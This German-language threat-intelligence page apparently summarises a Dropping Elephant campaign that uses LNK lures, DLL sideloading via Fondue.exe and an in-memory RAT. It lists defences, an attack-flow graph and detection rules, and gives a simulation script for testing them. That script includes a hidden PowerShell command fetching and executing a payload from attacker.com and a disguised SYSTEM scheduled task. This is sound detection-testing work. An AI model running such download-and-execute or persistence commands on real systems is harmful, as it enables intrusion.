Malware à la Mode: Ein Blick in die Loader-Kette des Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine raffinierte Kampagne, die Dropping Elephant zugeschrieben wird, verwendet China-Themen-Köderdokumente, um einen aktualisierten, speicherresidenten Remote-Access-Trojaner zu liefern. Der Einbruch stützt sich auf DLL-Sideloading über eine legitime Microsoft-Binärdatei und den Donut-Shellcode-Loader, um eine Plattenspeicher-basierte Erkennung zu vermeiden. Die endgültige Nutzlast nutzt ebenfalls fortgeschrittene Ausweichtechniken, einschließlich Control-Flow-Glättung und Laufzeit-API-Rekonstruktion.
Untersuchung
Forscher von Rapid7 entdeckten die Bedrohung während einer proaktiven Untersuchung, die mit einer bösartigen Windows-Verknüpfung begann, die sich als PDF-Dokument tarnte. Ihre Untersuchung verfolgte die Nutzlastkette vom initialen Staging auf chinagreenenergy[.]org über das DLL-Sideloading von APPWIZ.cpl bis zur Ausführung eines speicherresidenten RAT. Die Code-Analyse mit Diaphora bestätigte eine gemeinsame Abstammung mit früheren Proben von Dropping Elephant, trotz umfangreicher Umgestaltungen.
Abwehrmaßnahmen
Verteidiger sollten Verhaltensdetektionen priorisieren, wie z.B. Verknüpfungsdateien, die PowerShell ausführen, und verdächtiges Nutzlast-Staging in C:UsersPublic. Das Überwachen von geplanten Aufgaben mit ungewöhnlichen Namen und das Erkennen von DLL-Sideloading aus unerwarteten Verzeichnissen ist ebenfalls wichtig. Darüber hinaus benötigen Endpunktverteidigungen Sichtbarkeit auf Speicherebene, um Manipulationen mit AMSI, WLDP und ETW zu erkennen.
Reaktion
Wenn diese Aktivität entdeckt wird, sollten betroffene Systeme sofort isoliert werden, um weiteren Kommando- und Kontrollverkehr zu unterbrechen. Führen Sie Speicherforensik durch, um den injizierten RAT zu identifizieren und geplante Aufgaben auf Persistenz zu überprüfen. Netzwerkprotokolle sollten ebenfalls auf unbefugten HTTPS-Verkehr zu den bekannten C2-Domains und auf Anzeichen von Dateiexfiltration überprüft werden.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Knotendefinitionen %% Initialer Zugriff und Ausführung action_user_exec[„<b>Aktion</b> – <b>T1204.002 Benutzerausführung: Schadartige Datei</b><br/>Das Opfer führt eine bösartige Verknüpfungsdatei aus<br/><b>Datei</b>: GRES3001.lnk<br/><b>Tarnung</b>: PDF-Symbol“] class action_user_exec action action_icon_smuggling[„<b>Aktion</b> – <b>T1027.012 Verschleierte Dateien oder Informationen: LNK-Icon-Smuggling</b><br/>Täuscht den Benutzer durch Symbolmanipulation<br/><b>Methode</b>: Gefälschtes LNK-Dateisymbol“] class action_icon_smuggling action %% Downloader-Phase process_conhost[„<b>Prozess</b> – <b>conhost.exe</b><br/>Hostprozess für Konsolenfenster<br/><b>Rolle</b>: Startet den PowerShell-Downloader“] class process_conhost process action_binary_padding[„<b>Aktion</b> – <b>T1027.001 Verschleierte Dateien oder Informationen: Binäres Padding</b><br/>Verwendet Zeichenkettenaufteilung zur Verschleierung<br/><b>Ziel</b>: PowerShell-Downloader-Skript“] class action_binary_padding action tool_downloader[„<b>Werkzeug</b> – <b>PowerShell-Downloader</b><br/>Lädt Täuschungsdateien und Schadprogramme herunter<br/><b>Quelle</b>: chinagreenenergy[.]org“] class tool_downloader tool %% Nach dem Download und Persistenz action_masquerading[„<b>Aktion</b> – <b>T1036.008 Tarnung: Dateityp vortäuschen</b><br/>Benennt Dateien um, damit sie legitim erscheinen<br/><b>Verzeichnis</b>: C:\\Users\\Public\\“] class action_masquerading action action_persistence[„<b>Aktion</b> – <b>T1546 Ereignisgesteuerte Ausführung</b><br/>Sichert Persistenz durch eine geplante Aufgabe<br/><b>Aufgabenname</b>: GoogleErrorReport<br/><b>Intervall</b>: Jede Minute“] class action_persistence action %% Ausführungskette und Side-Loading action_proxy_exec[„<b>Aktion</b> – <b>T1218.002 Proxy-Ausführung über Systembinärdateien: Systemsteuerung</b><br/>Verwendet eine legitime Binärdatei zum Starten des Loaders<br/><b>Binärdatei</b>: Fondue.exe“] class action_proxy_exec action tool_loader_cpl[„<b>Werkzeug</b> – <b>APPWIZ.cpl</b><br/>Bösartiger Systemsteuerungs-Loader<br/><b>Methode</b>: DLL-Side-Loading“] class tool_loader_cpl tool action_reflective_load[„<b>Aktion</b> – <b>T1620 Reflektives Laden von Code</b><br/>Lädt Code direkt in den Speicher<br/><b>Loader</b>: Donut-Shellcode-Loader“] class action_reflective_load action %% Post-Exploitation und C2 malware_rat[„<b>Schadsoftware</b> – <b>RAT</b><br/>Remote-Access-Trojaner<br/><b>Status</b>: Im Arbeitsspeicher resident“] class malware_rat malware action_gather_info[„<b>Aktion</b> – <b>T1592 Informationen über das Zielsystem sammeln</b><br/>Erfasst Systemmetadaten<br/><b>Daten</b>: Benutzername, Computername, Betriebssystem, IP-Adresse“] class action_gather_info action action_c2[„<b>Aktion</b> – <b>TA0011 Command-and-Control</b><br/>Hält die Kommunikation über HTTPS aufrecht<br/><b>Domain</b>: gcl-power[.]org“] class action_c2 action action_exfiltration[„<b>Aktion</b> – <b>Bildschirmaufnahme und Exfiltration</b><br/>T1113 Bildschirmaufnahme<br/><b>Ziel</b>: Datendiebstahl“] class action_exfiltration action %% Verbindungsfluss action_user_exec –>|führt_zu| action_icon_smuggling action_icon_smuggling –>|startet| process_conhost process_conhost –>|verwendet| action_binary_padding action_binary_padding –>|führt_aus| tool_downloader tool_downloader –>|lädt_herunter_nach| action_masquerading action_masquerading –>|richtet_ein| action_persistence action_persistence –>|löst_aus| action_proxy_exec action_proxy_exec –>|lädt| tool_loader_cpl tool_loader_cpl –>|nutzt| action_reflective_load action_reflective_load –>|installiert| malware_rat malware_rat –>|führt_aus| action_gather_info malware_rat –>|etabliert| action_c2 action_c2 –>|ermöglicht| action_exfiltration
Angriffsablauf
Erkennungen
Möglicher Versuch von Domain-Kommunikation über IP-Suche (via dns)
Ansehen
Ungewöhnliche Codepage-Ausführungsänderung (via cmdline)
Ansehen
Verdächtige geplante Aufgabe (via audit)
Ansehen
Verdächtige Ausführung aus öffentlichem Benutzerprofil (via process_creation)
Ansehen
Vcruntime140-Dynamikbibliothek von verdächtigem Verzeichnis geladen (via image_load)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansehen
Erkennung der Dropping Elephant-Malware-Kampagne [Windows-Netzwerkverbindung]
Ansehen
Bösartiges DLL-Sideloading über Fondue.exe [Windows-Datei-Ereignis]
Ansehen
Erkennung der Dropping Elephant Malware-Kampagne über Verknüpfung und Sideloading [Windows-Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Grundlinienvorkontrolle muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, genau die Telemetrie zu generieren, die von der Erkennungsmethode erwartet wird.
-
Angriffsnarrativ & Befehle: Der Gegner zielt darauf ab, Persistenz zu schaffen und einen Downloader auszuführen. Um standardmäßige E-Mail-Filter zu umgehen, verwenden sie eine Verknüpfungsdatei mit dem Namen
GRES3001.lnkdie wie ein PDF erscheint. Beim Klicken ruft sieconhost.exeauf, um ein PowerShell-Skript auszuführen. Gleichzeitig schaffen sie Persistenz, indem sie eine geplante Aufgabe mit dem NamenGoogleErrorReporterstellen, die so konzipiert ist, dass sieFondue.exeaus einem öffentlichen Verzeichnis ausführt, maskiert als legitimer Google-Fehlerbericht um eine zufällige Begutachtung zu umgehen. -
Regressionstestskript:
# 1. Simulieren des Shortcut/Conhost-Verhaltens # Wir simulieren die Ausführung von conhost.exe mit dem speziellen String in der Befehlszeile Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Hinweis: Um die 'CommandLine enthält GRES3001.lnk' Regel strikt zu erfüllen, simulieren wir den Prozessaufruf, als käme er von dieser Datei. # Da wir nicht leicht den Namen des übergeordneten Prozesses in einem einfachen Skript fälschen können, simulieren wir den erwarteten Befehlszeilenstring. Write-Host "[!] Simulieren der GRES3001.lnk-Auslösung..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Schadsoftware geladen'" # In einer realen Umgebung würde das 'CommandLine'-Feld in Sysmon den Zielstring enthalten. # 2. Simulieren der geplanten Aufgabe und side-loading von Fondue.exe Write-Host "[!] Simulieren der GoogleErrorReport geplanten Aufgabe..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy-Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulierte Dropping Elephant Aufgabe" -User "SYSTEM" -Force Write-Host "[+] Simulation Abgeschlossen. Prüfen Sie SIEM auf Alarmmeldungen." -
Aufräumbefehle:
# Entfernen der Dummy-Malware-Binärdatei Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Entfernen der bösartigen geplanten Aufgabe Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Aufräumen Abgeschlossen."